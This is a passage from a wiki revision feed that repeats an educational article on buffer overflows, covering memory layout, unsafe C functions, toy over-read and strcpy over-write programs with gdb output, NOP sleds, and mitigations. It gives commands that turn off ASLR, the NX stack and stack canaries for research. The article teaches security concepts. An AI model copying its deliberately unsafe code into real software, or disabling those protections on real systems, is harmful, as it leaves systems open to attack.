Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]&lt;br /&gt;
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16991</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16991"/>
		<updated>2024-12-11T17:09:04Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Heap-based Buffer Overflow */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle &amp;lt;ref name=&amp;quot;BOB&amp;quot;&amp;gt;What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter/instruction pointer&#039;&#039;&#039; and the content of the processor’s &#039;&#039;&#039;registers&#039;&#039;&#039;. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* Heap section: memory that is dynamically allocated during program run time&lt;br /&gt;
* Data section: global variables (initialized and uninitialized)&lt;br /&gt;
* Code/Text section: the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; Phrack, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a &#039;&#039;&#039;function returns control&#039;&#039;&#039; to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
During a function call, arguments are pushed onto the stack in reverse order, and the &#039;&#039;&#039;return address&#039;&#039;&#039; (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:&lt;br /&gt;
&lt;br /&gt;
* EIP (Instruction Pointer): Stores the next instruction&#039;s address.&lt;br /&gt;
* ESP (Stack Pointer): Points to the top of the stack.&lt;br /&gt;
* EBP (Base Pointer): Marks the base of the stack frame for the current function.&lt;br /&gt;
&lt;br /&gt;
When a function is called, the stack is manipulated using &#039;&#039;&#039;PUSH&#039;&#039;&#039; and &#039;&#039;&#039;POP&#039;&#039;&#039; instructions. A &#039;&#039;&#039;return address&#039;&#039;&#039; is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially &#039;&#039;&#039;overwriting the return address&#039;&#039;&#039;. An attacker may &#039;&#039;&#039;overwrite the return pointer to redirect the flow of execution&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| scanf() || sscanf()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT/Embedded Devices ===&lt;br /&gt;
&amp;quot;The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks.&amp;quot; &amp;lt;ref name=””&amp;gt; G. Mullen and L. Meany, &amp;quot;Assessment of Buffer Overflow Based Attacks On an IoT Operating System,&amp;quot; 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.&lt;br /&gt;
&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dangers ==&lt;br /&gt;
&lt;br /&gt;
Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.&lt;br /&gt;
&lt;br /&gt;
Summed up these four are the main dangers:&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt; &lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
&lt;br /&gt;
int array[5] = {1 ,2 ,3 ,4 ,5}; &lt;br /&gt;
printf(&amp;quot;%d\n&amp;quot;, array[5]);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
In this section, a simple Out-of-bounds write vulnerability will be examined. Although this particular example showcases a stack-based buffer overflow, we will use it to introduce the general concept of a over-write vulnerability and delve into specifically exploiting the stack&#039;s mechanics and control structures in the later section &amp;quot;Stack-based Buffer Overflow&amp;quot;. &lt;br /&gt;
&lt;br /&gt;
The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt; &lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
&lt;br /&gt;
    char B[3] = &amp;quot;03&amp;quot;; // gets higher address on stack&lt;br /&gt;
    char A[8] = &amp;quot;0000000&amp;quot;; // gets lower address on stack&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Before overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    strcpy(A, &amp;quot;excessive&amp;quot;); // dangerous &lt;br /&gt;
    printf(&amp;quot;After overflow: A = %s, B = %s\n&amp;quot;, A, B);&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Console output running the program (bash).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Before overflow: A = 0000000, B = 03&lt;br /&gt;
After overflow: A = excessive, B = e&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inspection of memory before the overflow (gdb). &lt;br /&gt;
The memory addresses on the left are the locations of the two buffers.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc85:  0x30  0x30  0x30  0x30  0x30  0x30  0x30  0x00&lt;br /&gt;
0xffffcc8d:  0x30  0x33  0x00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Inspection of memory after the overflow (gdb).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc85:  0x65  0x78  0x63  0x65  0x73  0x73  0x69  0x76&lt;br /&gt;
0xffffcc8d:  0x65  0x00  0x00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. &amp;lt;ref name=”AR1”&amp;gt;Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called &amp;quot;stack smashing&amp;quot;. It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.&lt;br /&gt;
&lt;br /&gt;
Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. &amp;lt;ref name=&amp;quot;One1996&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
A program may not know at compile time how much memory it will need. Such segments can be allocated dynamically, during runtime, and will be placed on the heap.&lt;br /&gt;
Special system calls brk() and mmap() can be used by Linux programs to achieve that.&lt;br /&gt;
The functions malloc(), calloc(), realloc() and free() provide convenient wrapper functions around these system calls and help managing those memory segments. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this &amp;quot;dangling pointer&amp;quot; to gain unauthorized access to the system or leak information meant to be kept confidential. &amp;lt;ref name=&amp;quot;UAF&amp;quot;&amp;gt;Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]&lt;br /&gt;
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16990</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16990"/>
		<updated>2024-12-11T17:08:42Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Heap-based Buffer Overflow */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle &amp;lt;ref name=&amp;quot;BOB&amp;quot;&amp;gt;What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024&amp;lt;/ref&amp;gt;]]&lt;br /&gt;
&lt;br /&gt;
